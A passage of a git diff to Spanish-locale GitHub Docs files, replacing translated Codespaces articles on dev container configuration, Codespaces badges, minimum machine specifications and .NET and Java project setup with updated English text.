Cuando todo parezca correcto, también se recomienda crear un codespace desde la rama de prueba para asegurarse de que todo funciona. Después, puede confirmar los cambios en la rama predeterminada del repositorio o en una rama de características activa, lo que desencadena una actualización de la precompilación para esa rama. +## Testing changes to the dev container configuration + +1. Create a codespace from the prebuild-enabled branch whose dev container you want to change. For more information, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository)." +1. In the codespace, check out a test branch. For more information, see "[Using source control in your codespace](/codespaces/developing-in-codespaces/using-source-control-in-your-codespace#creating-or-switching-branches)." +1. Make the required changes to the dev container configuration. +1. Apply the changes by rebuilding the container. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#applying-configuration-changes-to-a-codespace)." +1. After everything looks good, we also recommend creating a new codespace from your test branch to ensure everything is working. You can then commit your changes to your repository's default branch, or an active feature branch, triggering an update of the prebuild for that branch. {% note %} - **Nota**: La creación de este codespace tardará más de lo habitual porque no se creará a partir de una precompilación. + **Note**: Creating this codespace will take longer than usual because it will not be created from a prebuild. {% endnote %} diff --git a/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/adding-a-codespaces-badge.md b/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/adding-a-codespaces-badge.md index 21a6abd4cb..36e4e0ae51 100644 --- a/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/adding-a-codespaces-badge.md +++ b/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/adding-a-codespaces-badge.md @@ -1,7 +1,7 @@ --- -title: Adición de un distintivo "Abrir en GitHub Codespaces" +title: Adding an "Open in GitHub Codespaces" badge shortTitle: Add a Codespaces badge -intro: Puedes agregar un distintivo a un archivo Markdown en el repositorio en el que la gente puede hacer clic para crear un codespace. +intro: You can add a badge to a Markdown file in your repository which people can click to create a codespace. allowTitleToDifferFromFilename: true versions: fpt: '*' @@ -10,62 +10,50 @@ type: how_to topics: - Codespaces - Set up -product: '{% data reusables.gated-features.codespaces %}' -ms.openlocfilehash: d2ed02a205a4a8c3e55deb0b52fdc9ffdb855dc4 -ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 10/25/2022 -ms.locfileid: '148109863' --- -## Información general -Agregar un distintivo "Abrir en {% data variables.product.prodname_github_codespaces %}" a un archivo de Markdown proporciona a la gente una manera fácil de crear un codespace para el repositorio. +## Overview -![Captura de pantalla de un distintivo de Codespaces en una página LÉAME](/assets/images/help/codespaces/codespaces-badge-on-readme.png) +Adding an "Open in {% data variables.product.prodname_github_codespaces %}" badge to a Markdown file gives people an easy way to create a codespace for your repository. -Al crear un distintivo, puedes elegir opciones de configuración específicas para el codespace que creará el distintivo. +![Screenshot of a Codespaces badge on a README page](/assets/images/help/codespaces/codespaces-badge-on-readme.png) -Cuando la gente haga clic en el distintivo, se les dirigirá a la página de opciones avanzadas para la creación del codespace, con las opciones que elegiste preseleccionadas. Para obtener más información sobre la página de opciones avanzadas, consulta "[Creación de un codespace](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)". +When you create a badge you can choose specific configuration options for the codespace that the badge will create. -En la página opciones avanzadas, los usuarios pueden cambiar la configuración preseleccionada si es necesario y, a continuación, hacer clic en **Crear codespace**. +When people click the badge they'll be taken to the advanced options page for codespace creation, with the options you chose preselected. For more information about the advanced options page, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository)." -{% note %} +From the advanced options page, users can change the preselected settings if required, then click **Create codespace**. -**Nota**: Ten en cuenta que las personas que aún no tienen acceso a {% data variables.product.prodname_github_codespaces %} verán un mensaje 404 si hacen clic en este distintivo. - -{% endnote %} - -## Creación de un distintivo "Abrir en {% data variables.product.prodname_github_codespaces %}" +## Creating an "Open in {% data variables.product.prodname_github_codespaces %}" badge {% data reusables.repositories.navigate-to-repo %} -1. Debajo del nombre de repositorio, utiliza el menú desplegable de "Rama" y selecciona aquella en la que quieras crear el distintivo. +1. Under the repository name, use the "Branch" dropdown menu, and select the branch you want to create the badge for. - ![Captura de pantalla del menú desplegable Rama](/assets/images/help/codespaces/branch-drop-down.png) + ![Screenshot of the Branch dropdown menu](/assets/images/help/codespaces/branch-drop-down.png) -1. Haz clic en el botón **{% octicon "code" aria-label="The code icon" %} Código** y , a continuación, haz clic en la pestaña **Codespaces**. +1. Click the **{% octicon "code" aria-label="The code icon" %} Code** button, then click the **Codespaces** tab. - ![Captura de pantalla del botón Nuevo codespace](/assets/images/help/codespaces/new-codespace-button.png) + ![Screenshot of the New codespace button](/assets/images/help/codespaces/new-codespace-button.png) -1. Haz clic en la flecha abajo situada al lado del botón **Crear codespace en RAMA**, haz clic en **Configurar y crear codespace** y, a continuación, haz clic en el botón **Configurar y crear codespace**. +1. Click the ellipsis (**...**) at the top right of the **Codespaces** tab, then click **New with options**. - ![Captura de pantalla de la opción "Configurar y crear codespace"](/assets/images/help/codespaces/configure-and-create-option.png) + ![Screenshot of the "Configure and create codespace" option](/assets/images/help/codespaces/default-machine-type.png) -1. En la página opciones avanzadas para la creación del codespace, selecciona los valores que deseas que se preseleccionen en cada campo. +1. On the advanced options page for codespace creation, select the values you want to be preselected in each field. - ![Captura de pantalla de la página opciones avanzadas](/assets/images/help/codespaces/advanced-options.png) + ![Screenshot of the advanced options page](/assets/images/help/codespaces/advanced-options.png) -1. Copie la dirección URL de la barra de direcciones del explorador. -1. Agrega el siguiente markdown a, por ejemplo, el `README.md` archivo del repositorio: +1. Copy the URL from the browser's address bar. +1. Add the following Markdown to, for example, the `README.md` file of your repository: ```Markdown{:copy} [![Open in GitHub Codespaces](https://github.com/codespaces/badge.svg)](COPIED-URL) ``` - Por ejemplo: + For example: ```Markdown [![Open in GitHub Codespaces](https://github.com/codespaces/badge.svg)](https://github.com/codespaces/new?hide_repo_select=true&ref=main&repo=0000000&machine=premiumLinux&devcontainer_path=.devcontainer%2Fdevcontainer.json&location=WestUs2) ``` - En el ejemplo anterior, `0000000` será el número de referencia del repositorio. Los demás detalles de la dirección URL vienen determinados por los valores seleccionados en los campos de la página de opciones avanzadas. + In the above example, `0000000` will be the reference number of your repository. The other details in the URL are determined by the values you selected in the fields on the advanced options page. diff --git a/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/index.md b/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/index.md index e7b41b02f8..25f70576b9 100644 --- a/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/index.md +++ b/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/index.md @@ -3,7 +3,6 @@ title: 'Configuración del repositorio para {% data variables.product.prodname_g shortTitle: Setting up your repository allowTitleToDifferFromFilename: true intro: 'Aprende cómo empezar a trabajar con {% data variables.product.prodname_github_codespaces %}, lo que incluye cómo realizar la configuración para lenguajes específicos.' -product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' ghec: '*' @@ -17,13 +16,15 @@ children: - /setting-up-your-java-project-for-codespaces - /setting-up-your-python-project-for-codespaces - /setting-a-minimum-specification-for-codespace-machines + - /adding-features-to-a-devcontainer-file - /automatically-opening-files-in-the-codespaces-for-a-repository - /adding-a-codespaces-badge -ms.openlocfilehash: 4649ef4e36dff0b37d4a579ecd56bbb0edd2a184 -ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65 + - /setting-up-a-template-repository-for-github-codespaces +ms.openlocfilehash: 05fc3519aa856944ffaf105d3a847abd1b51577f +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 10/27/2022 -ms.locfileid: '148114102' +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158705' --- diff --git a/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers.md b/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers.md index 7e4d85e0b7..70f431a081 100644 --- a/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers.md +++ b/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers.md @@ -16,12 +16,11 @@ topics: - Codespaces - Set up - Fundamentals -product: '{% data reusables.gated-features.codespaces %}' --- ## About dev containers -Development containers, or dev containers, are Docker containers that are specifically configured to provide a full-featured development environment. Whenever you work in a codespace, you are using a dev container on a virtual machine. +Development containers, or dev containers, are Docker containers that are specifically configured to provide a fully featured development environment. Whenever you work in a codespace, you are using a dev container on a virtual machine. You can configure the dev container for a repository so that codespaces created for that repository give you a tailored development environment, complete with all the tools and runtimes you need to work on a specific project. If you don't define a configuration in the repository then {% data variables.product.prodname_github_codespaces %} uses a default configuration, which contains many of the common tools that your team might need for development with your project. For more information, see "[Using the default dev container configuration](#using-the-default-dev-container-configuration)." @@ -31,11 +30,13 @@ Alternatively, you can add your own custom configuration files. For more informa You can define a single dev container configuration for a repository, different configurations for different branches, or multiple configurations. When multiple configurations are available, users can choose their preferred configuration when they create a codespace. This is particularly useful for large repositories that contain source code in different programming languages or for different projects. You can create a choice of configurations that allow different teams to work in a codespace that's set up appropriately for the work they are doing. +When you create a codespace from a template, you might start with one or more dev container configuration files in your workspace. To configure your environment further, you can add or remove settings from these files and rebuild the container to apply the changes to the codespace you're working in. If you publish your codespace to a repository on {% data variables.product.product_name %}, then any codespaces created from that repository will share the configuration you've defined. For more information, see "[Applying configuration changes to a codespace](#applying-configuration-changes-to-a-codespace)" and "[Creating a codespace from a template](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template#publishing-to-a-remote-repository)." + ### devcontainer.json The primary file in a dev container configuration is the `devcontainer.json` file. You can use this file to determine the environment of codespaces created for your repository. The contents of this file define a dev container that can include frameworks, tools, extensions, and port forwarding. The `devcontainer.json` file usually contains a reference to a Dockerfile, which is typically located alongside the `devcontainer.json` file. -If you don't add a `devcontainer.json` file to your repository, the default dev container configuration is used. For more information, see "[Using the default dev container configuration](#using-the-default-dev-container-configuration)." +If you create a codespace from a repository without a `devcontainer.json` file, or if you start from {% data variables.product.company_short %}'s blank template, the default dev container configuration is used. For more information, see "[Using the default dev container configuration](#using-the-default-dev-container-configuration)." The `devcontainer.json` file is usually located in the `.devcontainer` directory of your repository. Alternatively, you can locate it directly in the root of the repository, in which case the file name must begin with a period: `.devcontainer.json`. @@ -45,7 +46,7 @@ If you want to have a choice of dev container configurations in your repository, When you have multiple `devcontainer.json` files in your repository, each codespace is created from only one of the configurations. Settings cannot be imported or inherited between `devcontainer.json` files. If a `devcontainer.json` file in a custom subdirectory has dependent files, such as the Dockerfile or scripts that are run by commands in the `devcontainer.json` file, it's recommended that you co-locate these files in the same subdirectory. -For information about how to choose your preferred dev container configuration when you create a codespace, see "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)." +For information about how to choose your preferred dev container configuration when you create a codespace, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository)." {% data reusables.codespaces.more-info-devcontainer %} @@ -122,7 +123,7 @@ The default configuration is a good option if you're working on a small project ## Using a predefined dev container configuration -You can choose from a list of predefined configurations to create a dev container configuration for your repository. These configurations provide common setups for particular project types, and can help you quickly get started with a configuration that already has the appropriate container options, {% data variables.product.prodname_vscode_shortname %} settings, and {% data variables.product.prodname_vscode_shortname %} extensions that should be installed. +If you use {% data variables.product.prodname_codespaces %} in {% data variables.product.prodname_vscode %}, or in a web browser, you can create a dev container configuration for your repository by choosing from a list of predefined configurations. These configurations provide common setups for particular project types, and can help you quickly get started with a configuration that already has the appropriate container options, {% data variables.product.prodname_vscode %} settings, and {% data variables.product.prodname_vscode %} extensions that should be installed. Using a predefined configuration is a great idea if you need some additional extensibility. You can also start with a predefined configuration and amend it as needed for your project. For more information about the definitions of predefined dev containers, see the [`devcontainers/images`](https://github.com/devcontainers/images/tree/main/src) repository. @@ -131,41 +132,20 @@ You can add a predefined dev container configuration either while working in a c {% data reusables.codespaces.command-palette-container %} 1. Click the definition you want to use. - ![List of predefined container definitions](/assets/images/help/codespaces/predefined-container-definitions-list.png) + ![Screenshot of a list of predefined container definitions](/assets/images/help/codespaces/predefined-container-definitions-list.png) 1. Follow the prompts to customize your definition. For more information on the options to customize your definition, see "[Adding additional features to your `devcontainer.json` file](#adding-additional-features-to-your-devcontainerjson-file)." 1. Click **OK**. - ![OK button](/assets/images/help/codespaces/prebuilt-container-ok-button.png) + ![Screenshot of the OK button](/assets/images/help/codespaces/prebuilt-container-ok-button.png) 1. If you are working in a codespace, apply your changes, by clicking **Rebuild now** in the message at the bottom right of the window. For more information about rebuilding your container, see "[Applying changes to your configuration](#applying-configuration-changes-to-a-codespace)." - !["Codespaces: Rebuild Container" in the {% data variables.product.prodname_vscode_command_palette %}](/assets/images/help/codespaces/rebuild-prompt.png) + ![Screenshot of a prompt to 'Rebuild now'](/assets/images/help/codespaces/rebuild-prompt.png) ### Adding additional features to your `devcontainer.json` file -{% note %} - -**Note:** This feature is in beta and subject to change. - -{% endnote %} - -You can add features to your predefined container configuration to customize which tools are available and extend the functionality of your workspace without having to create a custom dev container configuration from scratch. For example, you could use a predefined container configuration and add the {% data variables.product.prodname_cli %}. You can make these additional features available for your project by adding the features to your `devcontainer.json` file when you set up your container configuration. - -You can add some of the most common features by selecting them when configuring your predefined container. For more information about `features`, see the [`devcontainers/features`](https://github.com/devcontainers/features) repository. - - -1. Access the Command Palette (Shift+Command+P (Mac) / Ctrl+Shift+P (Windows/Linux)), then start typing "configure". Select **Codespaces: Configure Devcontainer Features**. - - ![The Configure Devcontainer Features command in the Command Palette](/assets/images/help/codespaces/codespaces-configure-features.png) - -1. Update your feature selections, then click **OK**. - - ![The select additional features menu during container configuration](/assets/images/help/codespaces/select-additional-features.png) - -1. To apply the changes, in the bottom right corner of the screen, click **Rebuild now**. For more information about rebuilding your container, see "[Applying changes to your configuration](#applying-configuration-changes-to-a-codespace)." - - !["Codespaces: Rebuild Container" in the Command Palette](/assets/images/help/codespaces/rebuild-prompt.png) +{% data reusables.codespaces.about-features %} For more information, see "[Adding features to a `devcontainer.json` file](/codespaces/setting-up-your-project-for-codespaces/adding-features-to-a-devcontainer-file?tool=vscode)." ## Creating a custom dev container configuration @@ -176,19 +156,33 @@ If none of the predefined configurations meets your needs, you can create a cust {% note %} - **Note**: You can't locate your `devcontainer.json` files in directories more than one level below `.devcontainer`. For example, a file at `.devcontainer/teamA/devcontainer.json` will work, but `.devcontainer/teamA/testing/devcontainer.json` will not. + **Notes**: + - You can't locate your `devcontainer.json` files in directories more than one level below `.devcontainer`. For example, a file at `.devcontainer/teamA/devcontainer.json` will work, but `.devcontainer/teamA/testing/devcontainer.json` will not. + - {% data reusables.codespaces.configuration-choice-templates %} For more information, see "[Setting up a template repository for {% data variables.product.prodname_github_codespaces %}](/codespaces/setting-up-your-project-for-codespaces/setting-up-a-template-repository-for-github-codespaces)." {% endnote %} - If multiple `devcontainer.json` files are found in the repository, they are listed in the codespace creation options page. For more information, see "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)." + If multiple `devcontainer.json` files are found in the repository, they are listed in the codespace creation options page. For more information, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository)." - ![A choice of configuration files](/assets/images/help/codespaces/configuration-file-choice.png) + ![Screenshot of a choice of configuration files](/assets/images/help/codespaces/configuration-file-choice.png) + +### Adding a `devcontainer.json` file + +If you don't already have a `devcontainer.json` file in your repository, you can quickly add one from {% data variables.product.prodname_dotcom_the_website %}. +1. Navigate to your repository and click the **{% octicon "code" aria-label="The code icon" %} Code** dropdown. +1. In the **Codespaces** tab, click the ellipsis (**...**), then select **Configure dev container**. + + ![Screenshot of the Code dropdown, with "Configure dev container" highlighted](/assets/images/help/codespaces/configure-dev-container.png) + +A new `.devcontainer/devcontainer.json` file will open in the editor. The file will contain some initial properties, including a `features` object to which you can add new tools, libraries, or runtimes. For more information, see "[Adding features to a `devcontainer.json` file](/codespaces/setting-up-your-project-for-codespaces/adding-features-to-a-devcontainer-file?tool=webui)." + +If your repository already contains one or more `devcontainer.json` files, then clicking **Configure dev container** will open the existing `devcontainer.json` file with the highest precedence according to the [specification](https://containers.dev/implementors/spec/#devcontainerjson) on containers.dev. ### Default configuration selection during codespace creation If `.devcontainer/devcontainer.json` or `.devcontainer.json` exists, it will be the default selection in the list of available configuration files when you create a codespace. If neither file exists, the default dev container configuration will be selected by default. -![The default configuration choice selected](/assets/images/help/codespaces/configuration-file-choice-default.png) +![Screenshot of the default configuration choice selected](/assets/images/help/codespaces/configuration-file-choice-default.png) ### Editing the devcontainer.json file @@ -202,28 +196,45 @@ The `devcontainer.json` file is written using the JSONC (JSON with comments) for {% endnote %} -### Editor settings for {% data variables.product.prodname_vscode_shortname %} +### Interface settings for {% data variables.product.prodname_vscode_shortname %} -{% data reusables.codespaces.vscode-settings-order %} +You can configure the interface settings for {% data variables.product.prodname_vscode_shortname %}, with three scopes: Workspace, Remote [Codespaces], and User. You can view these scopes in the {% data variables.product.prodname_vscode_shortname %} Settings editor. -You can define default editor settings for {% data variables.product.prodname_vscode_shortname %} in two places. +![Screenshot showing the choice of scopes in the Settings editor](/assets/images/help/codespaces/scopes-for-vscode.png) -* Editor settings defined in the `.vscode/settings.json` file in your repository are applied as _Workspace_-scoped settings in the codespace. -* Editor settings defined in the `settings` key in the `devcontainer.json` file are applied as _Remote [Codespaces]_-scoped settings in the codespace. +If a setting is defined in multiple scopes, Workspace settings take priority, then Remote [Codespaces], then User. + +You can define default interface settings for {% data variables.product.prodname_vscode_shortname %} in two places. + +* Interface settings defined in the `.vscode/settings.json` file in your repository are applied as Workspace-scoped settings in the codespace. +* Interface settings defined in the `settings` key in the `devcontainer.json` file are applied as Remote [Codespaces]-scoped settings in the codespace. ## Applying configuration changes to a codespace -{% data reusables.codespaces.apply-devcontainer-changes %} +Changes to a configuration will be applied the next time you create a codespace. However, if you're using a codespace in a web browser, in {% data variables.product.prodname_vscode_shortname %}, or in a JetBrains IDE, you can apply configuration changes to the current codespace by rebuilding the container. + +### Rebuilding the dev container in the {% data variables.product.prodname_vscode_shortname %} web client or desktop application {% data reusables.codespaces.rebuild-command %} -1. {% data reusables.codespaces.recovery-mode %} Fix the errors in the configuration. +1. {% data reusables.codespaces.recovery-mode %} - ![Error message about recovery mode](/assets/images/help/codespaces/recovery-mode-error-message.png) + ![Screenshot of the error message about recovery mode](/assets/images/help/codespaces/recovery-mode-error-message.png) - To diagnose the error by reviewing the creation logs, click **View creation log**. - To fix the errors identified in the logs, update your `devcontainer.json` file. - To apply the changes, rebuild your container. +### Rebuilding the dev container in a JetBrains IDE + +{% data reusables.codespaces.jetbrains-open-codespace-plugin %} +1. In the {% data variables.product.prodname_github_codespaces %} tool window, click the rebuild icon. + + ![Screenshot of the rebuild button](/assets/images/help/codespaces/jetbrains-plugin-icon-rebuild.png) + +1. Click **Rebuild** when prompted to confirm that you want to rebuild the dev container. +1. Reopen the codespace in your JetBrains IDE. + + ## Further reading - "[Prebuilding your codespaces](/codespaces/prebuilding-your-codespaces)" diff --git a/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines.md b/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines.md index bcc8b635b9..e5659b2dc7 100644 --- a/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines.md +++ b/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines.md @@ -1,7 +1,7 @@ --- -title: Configurar una especificación mínima para las máquinas de los codespaces +title: Setting a minimum specification for codespace machines shortTitle: Set a minimum machine spec -intro: 'Puedes evitar que los tipos de máquina con recursos insuficientes se usen en los {% data variables.product.prodname_github_codespaces %} de tu repositorio.' +intro: 'You can avoid under-resourced machine types being used for {% data variables.product.prodname_github_codespaces %} for your repository.' permissions: People with write permissions to a repository can create or edit the codespace configuration. versions: fpt: '*' @@ -10,30 +10,26 @@ type: how_to topics: - Codespaces - Set up -product: '{% data reusables.gated-features.codespaces %}' -ms.openlocfilehash: 623b50a9423d855f807e2b480882f1e5eb2c479f -ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 10/27/2022 -ms.locfileid: '148113861' --- -## Información general -Cada codespace que crees se hospeda en una máquina virtual independiente, y normalmente puedes elegir entre diferentes tipos de máquinas virtuales. Cada tipo de máquina tiene recursos diferentes (núcleos de procesador, memoria, almacenamiento) y, de forma predeterminada, se usa el tipo de máquina con los recursos mínimos. Para obtener más información, consulte "[Cambio del tipo de máquina para el codespace](/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace#about-machine-types)". +## Overview -Si tu proyecto necesita cierto nivel de potencia de cómputo, puedes configurar {% data variables.product.prodname_github_codespaces %} para que solo los tipos de máquina que cumplan con estos requisitos se puedan usar de forma predeterminada o los puedan seleccionar los usuarios. Esta configuración se realiza en un archivo `devcontainer.json`. +Each codespace that you create is hosted on a separate virtual machine. When you create a codespace from a repository, you can usually choose from different types of virtual machines. Each machine type has different resources (processor cores, memory, storage) and, by default, the machine type with the least resources is used. For more information, see "[Changing the machine type for your codespace](/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace#about-machine-types)." + +If your project needs a certain level of compute power, you can configure {% data variables.product.prodname_github_codespaces %} so that only machine types that meet these requirements can be used by default, or selected by users. You configure this in a `devcontainer.json` file. + +{% data reusables.codespaces.machine-types-for-unpublished-codespaces %} {% note %} -**Importante:** El acceso a algunos tipos de máquina puede estar restringido en el nivel de organización. Habitualmente, esto se hace para prevenir que las personas elijan máquinas con recursos superiores, las cuales se cobran en tazas más altas. Si tu repositorio se ve afectado por la política de tipos de máquina a nivel organizacional, debes asegurarte de que no configures una especificación mínima que impida que las personas seleccionen los tipos de máquina disponibles que necesitan. Para obtener más información, consulte "[Restringir el acceso a los tipos de máquina](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)". +**Important:** Access to some machine types may be restricted at the organization level. Typically this is done to prevent people choosing higher resourced machines that are billed at a higher rate. If your repository is affected by an organization-level policy for machine types you should make sure you don't set a minimum specification that would leave no available machine types for people to choose. For more information, see "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)." {% endnote %} -## Configurar una especificación de máquina mínima +## Setting a minimum machine specification {% data reusables.codespaces.edit-devcontainer-json %} -1. Edita el archivo `devcontainer.json`, agregando la propiedad `hostRequirements` en el nivel superior del archivo, dentro del objeto JSON envolvente. Por ejemplo: +1. Edit the `devcontainer.json` file, adding the `hostRequirements` property at the top level of the file, within the enclosing JSON object. For example: ```json{:copy} "hostRequirements": { @@ -43,16 +39,16 @@ Si tu proyecto necesita cierto nivel de potencia de cómputo, puedes configurar } ``` - Puede especificar una de las opciones o todas: `cpus`, `memory` y `storage`. + You can specify any or all of the options: `cpus`, `memory`, and `storage`. - Para verificar las especificaciones de los tipos de máquina de {% data variables.product.prodname_github_codespaces %} que actualmente están disponibles para tu repositorio, realiza el proceso de crear un codespace hasta que veas la elección de tipos de máquina. Para obtener más información, consulte "[Crear un codespace](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)". + To check the specifications of the {% data variables.product.prodname_github_codespaces %} machine types that are currently available for your repository, step through the process of creating a codespace until you see the choice of machine types. For more information, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository)." -1. Guarda el archivo y confirma tus cambios a la rama requerida del repositorio. +1. Save the file and commit your changes to the required branch of the repository. - Ahora, cuando crees un codespace para esta rama del repositorio y vayas a las opciones de configuración de creación, solo podrás seleccionar tipos de máquina que coincidan con los recursos que especificaste o los excedan. + Now when you create a codespace for that branch of the repository, and you go to the creation configuration options, you will only be able to select machine types that match or exceed the resources you've specified. - ![Caja de diálogo que muestra una selección limitada de tipos de máquina](/assets/images/help/codespaces/machine-types-limited-choice.png) + ![Dialog box showing a limited choice of machine types](/assets/images/help/codespaces/machine-types-limited-choice.png) -## Información adicional +## Further reading -- "[Introducción a los contenedores de desarrollo](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)" +- "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)" diff --git a/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md b/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md index 1d0c70d64c..43cbbf8871 100644 --- a/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md +++ b/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md @@ -2,7 +2,6 @@ title: Setting up your C# (.NET) project for GitHub Codespaces shortTitle: Setting up your C# (.NET) project allowTitleToDifferFromFilename: true -product: '{% data reusables.gated-features.codespaces %}' intro: 'Get started with your C# (.NET) project in {% data variables.product.prodname_github_codespaces %} by creating a custom dev container.' redirect_from: - /codespaces/getting-started-with-codespaces/getting-started-with-your-dotnet-project @@ -17,7 +16,7 @@ hidden: true ## Introduction -This guide shows you how to set up your C# (.NET) project in {% data variables.product.prodname_github_codespaces %}. It will take you through an example of opening your project in a codespace, and adding and modifying a dev container configuration from a template. +This guide shows you how to set up your C# (.NET) project {% data reusables.codespaces.setting-up-project-intro %} ### Prerequisites @@ -26,12 +25,10 @@ This guide shows you how to set up your C# (.NET) project in {% data variables.p ## Step 1: Open your project in a codespace -1. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** drop-down menu, and in the **Codespaces** tab, click **Create codespace on main**. +1. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** dropdown menu, and in the **Codespaces** tab, click the plus sign ({% octicon "plus" aria-label="The plus icon" %}). ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png) - If you don’t see this option, {% data variables.product.prodname_github_codespaces %} isn't available for your project. See [Access to {% data variables.product.prodname_github_codespaces %}](/codespaces/developing-in-codespaces/creating-a-codespace#access-to-github-codespaces) for more information. - When you create a codespace, your project is created on a remote VM that is dedicated to you. By default, the container for your codespace has many languages and runtimes including .NET. It also includes a common set of tools like git, wget, rsync, openssh, and nano. {% data reusables.codespaces.customize-vcpus-and-ram %} @@ -200,9 +197,9 @@ In the previous section, you used the `postCreateCommand` to install a set of pa 1. Run your application by pressing `F5` or entering `dotnet watch run` in your terminal. -2. When your project starts, you should see a toast in the bottom right corner with a prompt to connect to the port your project uses. +2. When your project starts, you should see a "toast" notification message at the bottom right corner of {% data variables.product.prodname_vscode_shortname %}, containing a prompt to connect to the port your project uses. - ![Port forwarding toast](/assets/images/help/codespaces/python-port-forwarding.png) + ![Port forwarding "toast" notification](/assets/images/help/codespaces/python-port-forwarding.png) ## Step 5: Commit your changes diff --git a/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md b/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md index c5f6b582f0..954d74025b 100644 --- a/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md +++ b/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md @@ -3,7 +3,6 @@ title: Setting up your Java project for GitHub Codespaces allowTitleToDifferFromFilename: true shortTitle: Setting up with your Java project intro: 'Get started with your Java project in {% data variables.product.prodname_github_codespaces %} by creating a custom dev container.' -product: '{% data reusables.gated-features.codespaces %}' redirect_from: - /codespaces/getting-started-with-codespaces/getting-started-with-your-java-project-in-codespaces versions: @@ -17,7 +16,7 @@ hidden: true ## Introduction -This guide shows you how to set up your Java project in {% data variables.product.prodname_github_codespaces %}. It will take you through an example of opening your project in a codespace, and adding and modifying a dev container configuration from a template. +This guide shows you how to set up your Java project {% data reusables.codespaces.setting-up-project-intro %} ### Prerequisites @@ -26,12 +25,10 @@ This guide shows you how to set up your Java project in {% data variables.produc ## Step 1: Open your project in a codespace -1. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** drop-down menu, and in the **Codespaces** tab, click **Create codespace on main**. +1. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** dropdown menu, and in the **Codespaces** tab, click the plus sign ({% octicon "plus" aria-label="The plus icon" %}). ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png) - If you don’t see this option, {% data variables.product.prodname_github_codespaces %} isn't available for your project. See [Access to {% data variables.product.prodname_github_codespaces %}](/codespaces/developing-in-codespaces/creating-a-codespace#access-to-github-codespaces) for more information. - When you create a codespace, your project is created on a remote VM that is dedicated to you. By default, the container for your codespace has many languages and runtimes including Java, nvm, npm, and Yarn. It also includes a set of commonly used tools such as git, wget, rsync, openssh, and nano. {% data reusables.codespaces.customize-vcpus-and-ram %} @@ -171,9 +168,9 @@ In the previous section, you used the `postCreateCommand` to install a set of pa 1. Run your application by pressing `F5`. -2. When your project starts, you should see a toast in the bottom right corner with a prompt to connect to the port your project uses. +2. When your project starts, you should see a "toast" notification message at the bottom right corner of {% data variables.product.prodname_vscode_shortname %}, containing a prompt to connect to the port your project uses. - ![Port forwarding 